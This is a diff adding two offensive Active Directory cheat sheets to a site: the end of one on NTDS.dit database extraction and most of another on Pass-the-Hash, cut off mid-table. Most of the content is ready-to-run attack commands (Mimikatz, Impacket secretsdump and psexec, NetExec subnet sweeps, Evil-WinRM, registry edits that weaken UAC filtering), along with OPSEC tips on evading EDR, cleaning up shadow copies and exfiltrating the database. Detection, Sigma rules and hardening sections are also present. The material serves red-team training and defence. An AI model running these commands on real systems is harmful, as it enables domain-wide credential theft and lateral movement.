persistent nowriters +# add volume c: alias mydrive +# create +# expose %mydrive% z: +# exit + +# ── Execute the script ─────────────────────────────────────────────────────── +diskshadow /s C:\Temp\shadow.txt + +# ── Copy NTDS.dit from the exposed shadow ───────────────────────────────────── +copy z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit +reg save HKLM\SYSTEM C:\Temp\SYSTEM + +# ── Cleanup ─────────────────────────────────────────────────────────────────── +diskshadow +> delete shadows volume c: +> exit +``` + +> [!tip]+ Why diskshadow over vssadmin? +> `fas:Lightbulb` +> 1. **diskshadow** supports scripted (non-interactive) mode via `/s` flag — useful for reverse shells and C2 where interactive input isn't possible +> 2. It can **expose** the shadow copy as a drive letter (e.g., `z:`) — simpler file copy syntax +> 3. Some EDR tools specifically monitor for `vssadmin.exe` but miss `diskshadow.exe` — slightly stealthier +> 4. *Available on Server 2008+ — not available on Windows client OS (Win 10/11)* + +### 🔴 esentutl (ESE Database Copy — Bypasses File Lock) + +```powershell +# ── Copy locked NTDS.dit using esentutl ─────────────────────────────────────── +esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\Temp\ntds.dit +# Uses VSS internally to copy the locked database file + +# ── Also copy SYSTEM hive ───────────────────────────────────────────────────── +reg save HKLM\SYSTEM C:\Temp\SYSTEM +``` + +### 🔴 wmic Shadow Copy + +```powershell +# ── Create shadow copy via wmic ─────────────────────────────────────────────── +wmic shadowcopy call create Volume='C:\' +# Note: wmic is deprecated in Server 2025+; use PowerShell CIM instead + +# ── PowerShell CIM alternative ──────────────────────────────────────────────── +(Get-WmiObject -List Win32_ShadowCopy).Create("C:\", "ClientAccessible") +``` + +### 🔴 Invoke-NinjaCopy (PowerSploit — Raw NTFS Read) + +```powershell +# ── Copy locked NTDS.dit by reading raw NTFS volume ────────────────────────── +Import-Module .\PowerSploit\Exfiltration\Invoke-NinjaCopy.ps1 +Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\Temp\ntds.dit" +# Reads the file by parsing the raw NTFS MFT — bypasses file locks entirely +# ⚠️ Requires admin privileges and may trigger EDR (raw disk access) +``` + +### 🔴 NetExec / CrackMapExec (Remote — from Linux) + +```bash +# ── Dump NTDS remotely via VSS ──────────────────────────────────────────────── +nxc smb DC01.corp.local -u Administrator -p 'Password1' --ntds vss + +# ── Via DRSUAPI (DCSync method, not file-based) ────────────────────────────── +nxc smb DC01.corp.local -u Administrator -p 'Password1' --ntds drsuapi + +# ── With Pass-the-Hash ──────────────────────────────────────────────────────── +nxc smb DC01.corp.local -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe --ntds vss + +# ── With Kerberos ───────────────────────────────────────────────────────────── +export KRB5CCNAME=administrator.ccache +nxc smb DC01.corp.local -u Administrator -k --ntds drsuapi +``` + +### 🔴 Impacket — secretsdump.py (Remote) + +```bash +# ── Full dump with NTDS extraction ──────────────────────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc -outputfile domain_dump + +# ── Using PtH ──────────────────────────────────────────────────────────────── +secretsdump.py corp.local/Administrator@DC01.corp.local \ + -hashes :2b576acbe6bcfda7294d6bd18041b8fe -just-dc -outputfile dump + +# ── Kerberos authentication ─────────────────────────────────────────────────── +export KRB5CCNAME=administrator.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local \ + -just-dc -outputfile dump +``` + +### 🔴 Offline Parsing (After Extraction) + +```bash +# ── Parse NTDS.dit offline with secretsdump ─────────────────────────────────── +secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile parsed_hashes +# Outputs: parsed_hashes.ntds, parsed_hashes.ntds.kerberos, parsed_hashes.ntds.cleartext + +# ── Extract only NT hashes ──────────────────────────────────────────────────── +secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -just-dc-ntlm -outputfile nt_only + +# ── With password history ───────────────────────────────────────────────────── +secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -history -outputfile with_history +``` + +```powershell +# ── DSInternals (PowerShell — offline parsing) ──────────────────────────────── +Import-Module DSInternals +$bootKey = Get-BootKey -SystemHiveFilePath C:\Temp\SYSTEM +Get-ADDBAccount -All -DBPath C:\Temp\ntds.dit -BootKey $bootKey | + Select-Object SamAccountName, @{N='NTHash';E={$_.NTHash | ConvertTo-Hex}} | + Export-Csv domain_hashes.csv -NoTypeInformation + +# ── Extract specific user ───────────────────────────────────────────────────── +Get-ADDBAccount -SamAccountName krbtgt -DBPath C:\Temp\ntds.dit -BootKey $bootKey +``` + +```bash +# ── NTDSDumpEx (lightweight C# parser) ──────────────────────────────────────── +NTDSDumpEx.exe -d ntds.dit -s SYSTEM -o hashes.txt +``` + +*** + +## 🎯 OPSEC Tips + +1. **DCSync (Attack #37) is almost always preferred** — no file access on the DC, no disk artifacts, and can target individual users; use NTDS.dit extraction only when DCSync is blocked (network segmentation, firewall rules) +2. **VSS shadow copies leave obvious forensic artifacts** — Event 8222, vssadmin process creation, shadow copy metadata; all are easily detected +3. **diskshadow is slightly stealthier than vssadmin** — fewer EDR rules specifically target it, and it supports scripted mode for non-interactive access +4. **Clean up shadow copies immediately** — leaving them behind is a dead giveaway; use `vssadmin delete shadows /all /quiet` +5. **Exfiltrate the NTDS.dit file off the DC before parsing** — parsing on the DC is slow and leaves a long forensic window; copy to attacker machine and parse offline +6. **NTDS.dit files can be enormous** (1–10+ GB in large environments) — consider compression before exfiltration: `Compress-Archive -Path C:\Temp\ntds.dit -DestinationPath C:\Temp\ntds.zip` +7. **ntdsutil IFM creates a directory, not a single file** — don't forget to clean up the entire directory after extraction + +### 📊 OpSec Ranking + +| Method | Stealth | Speed | Reliability | Notes | +|---|---|---|---|---| +| DCSync (remote, not file-based) | 🟢 High | 🟢 Fast | 🟢 High | Preferred — no DC file access needed (Attack #37) | +| secretsdump.py (remote) | 🟡 Medium | 🟡 Medium | 🟢 High | Creates temp service + VSS on DC remotely | +| diskshadow (local) | 🟡 Medium | 🟡 Medium | 🟢 High | Less monitored than vssadmin | +| vssadmin (local) | 🔴 Low | 🟡 Medium | 🟢 High | Most commonly detected; EDR rules everywhere | +| ntdsutil IFM (local) | 🔴 Low | 🟡 Medium | 🟢 High | ntdsutil.exe execution is highly suspicious on DCs | +| esentutl (local) | 🟡 Medium | 🟡 Medium | 🟡 Medium | Fewer EDR detections but still logs process creation | +| Invoke-NinjaCopy (local) | 🟡 Medium | 🔴 Slow | 🟡 Medium | Raw NTFS access may crash on very large databases | + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **8222** | Security Log (DC) | Shadow copy created — definitive VSS indicator | +| **4688** | Security Log (DC) | Process creation: `vssadmin.exe`, `ntdsutil.exe`, `diskshadow.exe`, `esentutl.exe` | +| **Sysmon 1** | Sysmon | Process creation with full command line — look for `ntds.dit`, `ifm`, `shadow` keywords | +| **Sysmon 11** | Sysmon | File creation of ntds.dit copy in unusual directory (not `C:\Windows\NTDS\`) | +| **7045** | System Log | Service installed (secretsdump creates a temp RemComSvc service for remote execution) | +| **4663** | Security Log | File access to `C:\Windows\NTDS\ntds.dit` (requires Object Access auditing configured) | +| **1102** | Security Log | Audit log cleared — attacker may attempt to cover tracks after extraction | + +### 🔎 Sigma Rules + +```yaml +# ── SigmaHQ — NTDS.dit Access via VSS ─────────────────────────────────────── +title: NTDS.dit Access via Volume Shadow Copy +id: c5c50bfa-5f39-497f-b862-41c3a9e455bc +status: stable +logsource: + product: windows + category: process_creation +detection: + selection_vss: + Image|endswith: + - '\vssadmin.exe' + - '\diskshadow.exe' + CommandLine|contains: + - 'create shadow' + - 'create' + selection_ntdsutil: + Image|endswith: '\ntdsutil.exe' + CommandLine|contains: 'ifm' + condition: selection_vss or selection_ntdsutil +level: critical +tags: + - attack.credential_access + - attack.t1003.003 +``` + +```yaml +# ── SigmaHQ — NTDS.dit File Copy ───────────────────────────────────────────── +title: Suspicious NTDS.dit File Access +id: 8bc64091-6875-4881-aaf1-f1c1bd6469cd +logsource: + product: windows + category: file_event +detection: + selection: + TargetFilename|contains: 'ntds.dit' + TargetFilename|endswith: '.dit' + filter_legitimate: + TargetFilename|startswith: 'C:\Windows\NTDS\' + condition: selection and not filter_legitimate +level: critical +``` + +### 🛡️ EDR-Specific Detections + +> [!warning]+ Microsoft Defender for Identity (MDI) +> `ris:Windows` +> 1. **"Suspected NTDS.dit theft"** — detects ntdsutil IFM creation and VSS-based NTDS.dit access patterns +> 2. MDI correlates process creation on DCs with known NTDS.dit extraction command patterns +> 3. *MDI is less effective for NTDS.dit extraction than for DCSync because the extraction happens locally, not over the network* + +> [!warning]+ CrowdStrike Falcon +> `ris:Radar` +> 1. **"NTDS.dit Credential Dumping"** — behavioral detection for VSS creation followed by ntds.dit file access +> 2. **"Volume Shadow Copy Abuse"** — flags vssadmin/diskshadow when combined with file access to sensitive paths +> 3. Process tree analysis detects `cmd.exe → vssadmin.exe → copy ntds.dit` chains + +> [!warning]+ Elastic Security +> `ris:FileList` +> 1. Rule: **"NTDS or SAM Database File Copied"** — file event monitoring for ntds.dit copies outside the NTDS directory +> 2. Rule: **"Volume Shadow Copy Creation"** — process creation monitoring for vssadmin/diskshadow with shadow creation arguments +> 3. Rule: **"Credential Dumping via NTDSutil"** — specific ntdsutil IFM command detection + +*** + +## 🔬 Forensic Artifacts + +| Artifact | Location | Details | +|---|---|---| +| **Shadow copy metadata** | VSS storage (`System Volume Information`) | Shadow copy creation/deletion timestamps; may persist even after deletion | +| **Event 8222** | DC Security Log | Shadow copy creation event with timestamp and volume information | +| **Process execution** | Event 4688 / Sysmon 1 | vssadmin.exe, ntdsutil.exe, diskshadow.exe, esentutl.exe with full command lines | +| **File creation** | Sysmon 11 | ntds.dit file created in non-standard location (C:\Temp, C:\Users, etc.) | +| **IFM directory** | Disk forensics | `ntds_backup\Active Directory\ntds.dit` + `ntds_backup\registry\SYSTEM` directory structure | +| **Temp service** | Event 7045 / System Log | secretsdump.py creates RemComSvc service for remote execution; service name and binary path logged | +| **Prefetch** | `C:\Windows\Prefetch\` | `VSSADMIN.EXE-*.pf`, `NTDSUTIL.EXE-*.pf` — execution timestamps survive tool cleanup | +| **USN Journal** | NTFS `$UsnJrnl:$J` | File creation/deletion entries for ntds.dit copies | + +*** + +> [!important]+ Windows Server Version Differences +> `ris:Windows` +> 1. **Server 2012 R2**: All extraction methods work; minimal built-in detection +> 2. **Server 2016**: vssadmin event logging improved; Sysmon recommended for file-level monitoring +> 3. **Server 2019**: Credential Guard protects LSASS but does **NOT** protect NTDS.dit file extraction — the file is a separate attack surface +> 4. **Server 2022**: No new NTDS.dit protection mechanisms; Microsoft recommends MDI + EDR on DCs +> 5. **Server 2025**: `wmic.exe` is deprecated/removed — use PowerShell CIM cmdlets instead for shadow copy creation; all other methods still work +> 6. *Microsoft's strategic direction is to move credentials out of NTDS.dit entirely (e.g., cloud-only identities with Entra ID), but hybrid AD environments will have NTDS.dit for the foreseeable future* + +*** + +## 🔒 Hardening & Prevention + +```powershell +# ── 1. Monitor VSS shadow copy creation on DCs ─────────────────────────────── +# GPO → Computer Configuration → Windows Settings → Security Settings → +# Advanced Audit Policy → Object Access → Audit Other Object Access Events +# This generates Event 4663 for sensitive file access + +# ── 2. Application whitelisting on DCs ──────────────────────────────────────── +# Use AppLocker or WDAC to restrict what can run on DCs: +# Block: vssadmin.exe from non-admin contexts +# Block: ntdsutil.exe from non-admin scheduled tasks +# Block: PowerShell constrained language mode for non-admins + +# ── 3. Monitor file access to NTDS.dit ─────────────────────────────────────── +# Configure SACL on C:\Windows\NTDS\ntds.dit: +$acl = Get-Acl "C:\Windows\NTDS\ntds.dit" +$rule = New-Object System.Security.AccessControl.FileSystemAuditRule( + "Everyone", "Read", "Success" +) +$acl.AddAuditRule($rule) +Set-Acl "C:\Windows\NTDS\ntds.dit" $acl +# ⚠️ Will generate events for legitimate NTDS operations too — tune carefully + +# ── 4. Enable command-line logging in process creation events ───────────────── +# GPO → Computer Configuration → Admin Templates → System → Audit Process Creation +# ✅ Include command line in process creation events +# This makes Event 4688 include the full command line + +# ── 5. Deploy Sysmon on all DCs ────────────────────────────────────────────── +# Sysmon config for NTDS.dit monitoring: +# <FileCreate onmatch="include"> +# <TargetFilename condition="contains">ntds.dit</TargetFilename> +# </FileCreate> +# <ProcessCreate onmatch="include"> +# <Image condition="end with">vssadmin.exe</Image> +# <Image condition="end with">ntdsutil.exe</Image> +# <Image condition="end with">diskshadow.exe</Image> +# </ProcessCreate> + +# ── 6. Restrict remote access to DCs ───────────────────────────────────────── +# Implement Tiered Administration: +# Only Tier 0 admin accounts should have interactive/remote logon rights on DCs +# Deny logon locally/RDP for standard domain admins on DCs +# Block SMB access to DCs from workstation VLANs (where possible) + +# ── 7. EDR on Domain Controllers ───────────────────────────────────────────── +# Deploy EDR agent (Defender for Endpoint, CrowdStrike, etc.) on ALL DCs +# Configure real-time monitoring for credential theft patterns +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| `vssadmin: Error: Access is denied` | Not running as admin / SYSTEM on the DC | Elevate to local admin; use `psexec -s cmd` for SYSTEM context | +| `secretsdump: STATUS_ACCESS_DENIED` | Account doesn't have admin rights on DC | Verify DA membership; try `-hashes` for PtH or `-k` for Kerberos auth | +| `ERROR_SHARING_VIOLATION` when copying ntds.dit | Trying to copy the live file without VSS | Use VSS shadow copy, ntdsutil IFM, or esentutl `/y /vss` — cannot copy the live file directly | +| secretsdump returns `Cannot open NTDS.dit` | Incorrect file path or corrupted database | Verify file path; if parsing offline, ensure both `ntds.dit` and `SYSTEM` files are from the same DC | +| Offline parsing returns garbage / wrong hashes | SYSTEM hive doesn't match the NTDS.dit | The SYSTEM hive must be from the SAME DC as the NTDS.dit — different DCs have different Boot Keys | +| ntdsutil IFM fails with `error 0xc00002e1` | NTDS service not running or database inconsistent | Run `ntdsutil → files → integrity` first; the service must be running for IFM creation | +| Shadow copy creation hangs | Low disk space or VSS writer failure | Check `vssadmin list writers` for failed writers; ensure at least 10% free disk space on the volume | +| NetExec `--ntds vss` returns timeout | Large NTDS.dit file + slow network | Increase timeout with `--timeout 300`; or extract locally and parse offline | + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Procedure | APT Groups | +|---|---|---|---|---| +| **Credential Access** | [T1003](https://attack.mitre.org/techniques/T1003/) | [.003 — NTDS](https://attack.mitre.org/techniques/T1003/003/) | Extract NTDS.dit via VSS/ntdsutil/diskshadow and parse offline for all domain credentials | [APT28](https://attack.mitre.org/groups/G0007/) (Fancy Bear), [FIN6](https://attack.mitre.org/groups/G0037/), [Wizard Spider](https://attack.mitre.org/groups/G0102/) | +| **Collection** | [T1005](https://attack.mitre.org/techniques/T1005/) | Data from Local System | Copy NTDS.dit and SYSTEM hive files from the DC filesystem | Commonly used by ransomware operators | +| **Defense Evasion** | [T1006](https://attack.mitre.org/techniques/T1006/) | Direct Volume Access | Use Invoke-NinjaCopy to read raw NTFS volume bypassing file locks | Advanced red team operations | + +> [!tip]+ Real-World APT Usage +> `fas:Lightbulb` +> 1. **APT28 (Fancy Bear)** — Used ntdsutil IFM extraction after gaining DC access in government network compromises +> 2. **Wizard Spider (Ryuk/Conti)** — Frequently used `vssadmin create shadow` + NTDS.dit extraction as part of their domain compromise playbook before deploying ransomware +> 3. **FIN6** — Extracted NTDS.dit for offline credential cracking to access payment processing systems +> 4. *NTDS.dit extraction is considered "noisier" than DCSync but is still widely used when network-level replication is blocked* + +*** + +## 🔗 Attack Chain Context + +``` +[NTDS.dit] ──→ Direct Database Extraction → All Domain Credentials + │ + ├──→ 🆚 DCSync (Attack #37) is preferred — no DC file access needed + ├──→ 🔗 Useful when: network segmentation blocks DCSync RPC + ├──→ 🔑 Extract KRBTGT hash → Golden Ticket (Attack #11) + ├──→ 💻 Extract all NT hashes → Pass-the-Hash (Attack #4) + ├──→ 🔓 Offline cracking of all domain passwords + ├──→ 📋 Requires: local admin / SYSTEM on DC, or remote admin via secretsdump + └──→ 💀 Defeated by: monitor shadow copy creation, EDR on DCs, Sysmon file monitoring +``` + +*** + +> ✅ **Attack #39 — NTDS.dit Extraction complete.** diff --git a/src/content/sheets/active-directory/attack-4-pass-the-hash-pth.md b/src/content/sheets/active-directory/attack-4-pass-the-hash-pth.md @@ -0,0 +1,463 @@ +--- +title: "Attack #4 — Pass-the-Hash (PtH)" +description: "Pass-the-Hash is a credential replay attack that exploits a fundamental design characteristic of the NTLM authentication protocol. When Windows…" +category: active-directory +tags: ["active-directory", "ntlm", "hashing"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Hashcat"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #4 — Pass-the-Hash (PtH).md" +--- +# 🔴 Attack #4 — Pass-the-Hash (PtH) + +*** + +## 📖 How It Works + +Pass-the-Hash is a **credential replay attack** that exploits a fundamental design characteristic of the NTLM authentication protocol. When Windows authenticates a user, it never actually transmits the plaintext password — instead it uses the **NT hash** (MD4 of the Unicode password) directly in the NTLM challenge-response handshake. This means that possessing the hash is **cryptographically equivalent to possessing the password** — no cracking required. + +The attacker first compromises any Windows host, dumps NTLM hashes from LSASS memory or the SAM database, then **injects that hash directly into a new authentication context** and authenticates to remote systems as the victim user. Because the remote system has no way to distinguish a hash supplied by the legitimate user from one supplied by an attacker, access is granted immediately. The attack has existed since 1997 and has **no CVE and no patch** — it is a consequence of how NTLM was designed. + +> ⚠️ **Windows Server 2022+ Behaviour / Credential Guard Impact:** Modern Windows 10/11 and Server 2022+ with Credential Guard enabled **completely block LSASS hash extraction**. Mimikatz will fail with `ERROR kuhl_m_sekurlsa_getHandle` when trying to access LSASS on Credential Guard-protected systems. However, PtH still works perfectly if you already have the hash from another source (SAM, NTDS.dit, or another non-Credential-Guard host). LSA protection (RunAsPPL) also blocks LSASS access but is less comprehensive than Credential Guard. Remote Credential Guard on Server 2016+ blocks PtH over WinRM (5985), but SMB (445) and RDP (3389) may still work depending on registry configuration. + +**Chains with:** Attack #3 (AS-REP roasting recovers passwords which you then hash to PtH), Attack #5 (PtH + Kerberos = Overpass-the-Hash), Attack #7 (NTLM relay to capture hashes) + +### The Full Attack Flow + +``` +1. Gain initial foothold on any Windows machine (phishing, exploit, etc.) +2. Escalate to local admin / SYSTEM on that machine +3. Dump NTLM hashes from: + - LSASS process memory (sekurlsa::logonpasswords via Mimikatz) + - SAM database (reg save + secretsdump) + - NTDS.dit (domain-wide dump from DC) +4. Identify high-value hash (Domain Admin, local admin reuse, service account) +5. Inject hash into new authentication session (Mimikatz / impacket / NetExec) +6. Authenticate to remote systems as victim — lateral movement achieved +7. Repeat: dump new hashes from each compromised host, escalate further +``` + +### NTLM Hash Formats — Know Your Targets + +| Format | Example | Notes | +|---|---|---| +| **NT hash only** | `aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c` | Most common — LM:NT format | +| **LM hash** | `aad3b435b51404eeaad3b435b51404ee` | Effectively blank — LM disabled by default since Vista | +| **NT hash only** | `8846f7eaee8fb117ad06bdd830b7586c` | The part that matters — right side of the colon | +| **NTLM relay capture** | Full Net-NTLMv1/v2 | **Cannot** be used for PtH directly — must be relayed or cracked | + +> ⚠️ **Critical distinction:** You **can** Pass-the-Hash with the **NT hash** (from LSASS/SAM/NTDS). You **cannot** Pass-the-Hash with a **Net-NTLMv2** hash captured from Responder — those must be cracked or relayed (see Attack #7). + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin / SYSTEM on a host** | Required to dump LSASS or access SAM — standard user cannot read these | +| **NTLM authentication enabled** | Target must accept NTLM — if Kerberos-only is enforced, use Overpass-the-Hash instead | +| **Network access to target** | Ports 445 (SMB), 135 (RPC), 5985 (WinRM) depending on tool | +| **Target has same credentials** | Hash must be valid on the remote system (domain account or local admin reuse) | +| **UAC remote restrictions** | Local admin PtH blocked by `LocalAccountTokenFilterPolicy` unless the built-in RID-500 admin account is used | + +*** + +## 🛠️ Tools + +| Tool | Platform | Protocol | Notes | +|---|---|---|---| +| **Mimikatz** | Windows | NTLM | Gold standard; `sekurlsa::pth` spawns a new process with injected hash | +| **Impacket suite** | Linux | SMB/RPC | `psexec.py`, `smbexec.py`, `wmiexec.py` all support `-hashes` flag | +| **NetExec / CrackMapExec** | Linux | SMB/WinRM/LDAP | Best for mass lateral movement across subnets | +| **Evil-WinRM** | Linux | WinRM (5985) | Clean interactive shell via PtH over WinRM | +| **xfreerdp** | Linux | RDP (3389) | PtH over RDP with Restricted Admin Mode enabled | +| **Metasploit** | Both | SMB | `exploit/windows/smb/psexec` + `pass_the_hash` module | +| **pth-winexe / pth-smbclient** | Linux | SMB | Legacy Kali tools; still effective for quick access | +| **lsassy.py** | Linux | Network-based | Remotely extracts hashes from LSASS without local admin shell | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Dump NTLM Hashes (Hash Acquisition Phase) + +```powershell +# ── Mimikatz on compromised Windows host ────────────────────────────────────── + +# Dump all credentials from LSASS memory (requires local admin) +privilege::debug +sekurlsa::logonpasswords + +# Dump only NTLM hashes (faster, less noise) +sekurlsa::msv + +# Dump SAM database (local account hashes — works offline too) +token::elevate +lsadump::sam + +# Dump domain hashes via DCSync (if you have replication rights) +lsadump::dcsync /domain:corp.local /user:Administrator +lsadump::dcsync /domain:corp.local /all /csv +``` + +```bash +# ── Linux — remote SAM/NTDS dump via Impacket ───────────────────────────────── + +# Dump SAM from remote machine (requires local admin creds or hash) +secretsdump.py corp.local/Administrator:'Password1'@10.10.10.10 + +# Dump using existing NT hash (PtH to get more hashes) +secretsdump.py corp.local/Administrator@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c + +# Dump all domain hashes from DC (NTDS.dit via VSS) +secretsdump.py corp.local/Administrator:'Password1'@10.10.10.10 -just-dc-ntlm + +# Output to file +secretsdump.py corp.local/Administrator@10.10.10.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c -outputfile domain_hashes +``` + +*** + +### 🔴 Mimikatz — Pass-the-Hash (Windows, Spawn New Process) + +```powershell +# Classic PtH — spawns cmd.exe as target user with injected hash +# (Opens a new window authenticated as that user) +sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c + +# PtH with specific program (e.g., PowerShell) +sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:powershell.exe + +# PtH for local admin (use local machine name instead of domain) +sekurlsa::pth /user:Administrator /domain:WORKSTATION01 /ntlm:8846f7eaee8fb117ad06bdd830b7586c + +# Then from the spawned shell — verify access and move laterally +dir \\10.10.10.20\C$ +Enter-PSSession -ComputerName 10.10.10.20 +``` + +*** + +### 🔴 Impacket — Linux (Most Versatile Toolkit) + +```bash +# ── psexec.py — SMB exec, spawns SYSTEM shell ───────────────────────────────── +psexec.py corp.local/Administrator@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c + +# NT hash only (left side can be blank or aad3b... placeholder) +psexec.py Administrator@10.10.10.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c + +# ── smbexec.py — no binary drop on disk (stealthier than psexec) ────────────── +smbexec.py corp.local/Administrator@10.10.10.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c + +# ── wmiexec.py — WMI-based execution (no service creation) ─────────────────── +wmiexec.py corp.local/Administrator@10.10.10.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c + +# ── atexec.py — Task Scheduler execution (avoids SMB pipe artifacts) ───────── +atexec.py corp.local/Administrator@10.10.10.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c whoami + +# ── smbclient.py — browse file shares as target user ───────────────────────── +smbclient.py corp.local/Administrator@10.10.10.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c +``` + +*** + +### 🔴 NetExec / CrackMapExec — Linux (Mass Lateral Movement) + +```bash +# Single target PtH via SMB +nxc smb 10.10.10.10 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c + +# Full hash format (LM:NT) +nxc smb 10.10.10.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c + +# Subnet sweep — find all machines where hash is valid local admin +nxc smb 10.10.10.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --local-auth + +# Domain-wide sweep +nxc smb 10.10.10.0/24 -u corp_admin -H 8846f7eaee8fb117ad06bdd830b7586c + +# Execute a command on all matching hosts +nxc smb 10.10.10.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c -x whoami + +# Dump SAM from all compromised hosts in one sweep +nxc smb 10.10.10.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --sam + +# Dump LSA secrets (service account creds, DPAPI keys) +nxc smb 10.10.10.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --lsa + +# WinRM PtH (port 5985) — interactive shell +nxc winrm 10.10.10.10 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c +``` + +*** + +### 🔴 Evil-WinRM — Linux (Clean Interactive Shell) + +```bash +# PtH over WinRM — gives a clean PowerShell-like shell +evil-winrm -i 10.10.10.10 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c + +# With domain specified +evil-winrm -i 10.10.10.10 -u corp.local\\Administrator -H 8846f7eaee8fb117ad06bdd830b7586c + +# Load PowerShell scripts on connect +evil-winrm -i 10.10.10.10 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c \ + -s /opt/PowerSploit/Privesc/ +``` + +*** + +### 🔴 xfreerdp — RDP via Pass-the-Hash (Restricted Admin Mode) + +```bash +# PtH over RDP — requires Restricted Admin Mode enabled on target +# (enabled by default on Server 2012R2+, or manually via registry key) +xfreerdp /v:10.10.10.10 /u:Administrator /pth:8846f7eaee8fb117ad06bdd830b7586c /d:corp.local +compression /dynamic-resolution + +# Enable Restricted Admin Mode on target first (if you have access via another method) +# (Run on target machine) +reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f +``` + +*** + +### 🔴 lsassy.py — Remote LSASS Credential Extraction (No Shell Required) + +```bash +# Extract hashes directly from remote LSASS without interactive shell +lsassy 10.10.10.10 -u low_user -p 'Password1' + +# Using existing hash (PtH into LSASS extraction) +lsassy 10.10.10.10 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c + +# Dump to file for batch processing +lsassy 10.10.10.10 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c -o hashes_from_remote.txt + +# Note: lsassy bypasses LSASS access restrictions in some cases by using DCSync-like RPC calls +``` + +*** + +### 🔴 UAC & LocalAccountTokenFilterPolicy — Handling PtH Blocks + +```bash +# By default, non-RID500 local admins are blocked from PtH via SMB +# (UAC remote restriction — Token Filtering Policy) + +# Fix 1 — Enable LocalAccountTokenFilterPolicy on target (if you have a shell) +reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System \ + /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f + +# Fix 2 — Use the built-in RID-500 Administrator account (not subject to UAC filtering) +# The built-in Administrator (SID ending in -500) bypasses this restriction automatically + +# Fix 3 — Use domain accounts instead of local accounts +# Domain admin accounts are never subject to UAC remote filtering +``` + +*** + +### 🔴 Credential Guard Bypass Attempts (Note: Most Don't Work) + +```bash +# ⚠️ IMPORTANT: These attempts are mostly ineffective against modern Credential Guard +# They are listed for awareness and educational purposes only + +# Attempt 1 — Use lsassy with Direct Approach (limited success) +lsassy -t wdigest 10.10.10.10 -u low_user -p 'Password1' +# Result: May fail with "Failed to get handle on LSASS" if Credential Guard is active + +# Attempt 2 — Dump via ntlmrelayx (relay attack, not direct extraction) +# This works against NTLM relay targets, NOT against Credential Guard itself +ntlmrelayx.py -t smb://10.10.10.10 + +# Attempt 3 — Use PtH with Kerberos (Overpass-the-Hash) instead +# If target allows Kerberos, convert NT hash → TGT and bypass NTLM entirely (see Attack #5) +Rubeus.exe asktgt /user:Administrator /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c /outfile:ticket.kirbi + +# NOTE: No direct bypass for Credential Guard exists. Mitigations: +# - Use already-compromised pre-Credential-Guard hosts as pivot points +# - Perform DCSync if you have replication rights (domain-level, not LSASS) +# - Target systems that don't have Credential Guard enabled (older workstations) +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| **`STATUS_LOGON_FAILURE` / `STATUS_ACCESS_DENIED`** | Hash is invalid for this user or wrong domain. | Verify the hash is correct. Check spelling of username and domain. Try hash on a different target where you know it's valid (test with SAM first). | +| **`ERROR kuhl_m_sekurlsa_getHandle: 0x00000005`** | Credential Guard enabled on target; cannot access LSASS. | Credential Guard is active and blocks LSASS extraction. Use hashes from another source (SAM, NTDS, or a non-Credential-Guard host) to PtH into this system instead. Or pivot to Overpass-the-Hash (Kerberos). | +| **`LSA Protection (RunAsPPL) prevented LSASS access`** | Process Protection Light is enabled, blocking Mimikatz. | Switch to secretsdump via SMB instead: `secretsdump.py corp.local/admin@target -hashes :hash`. Or use lsassy for remote extraction. | +| **`Access denied / UAC remote restriction`** | LocalAccountTokenFilterPolicy blocks local admin PtH. | Use the built-in RID-500 Administrator account instead of a custom local admin. Or set `LocalAccountTokenFilterPolicy=1` on target (requires shell first). Domain accounts bypass this. | +| **`Restricted Admin Mode not enabled on RDP target`** | xfreerdp PtH requires Restricted Admin Mode. | Enable on target: `reg add 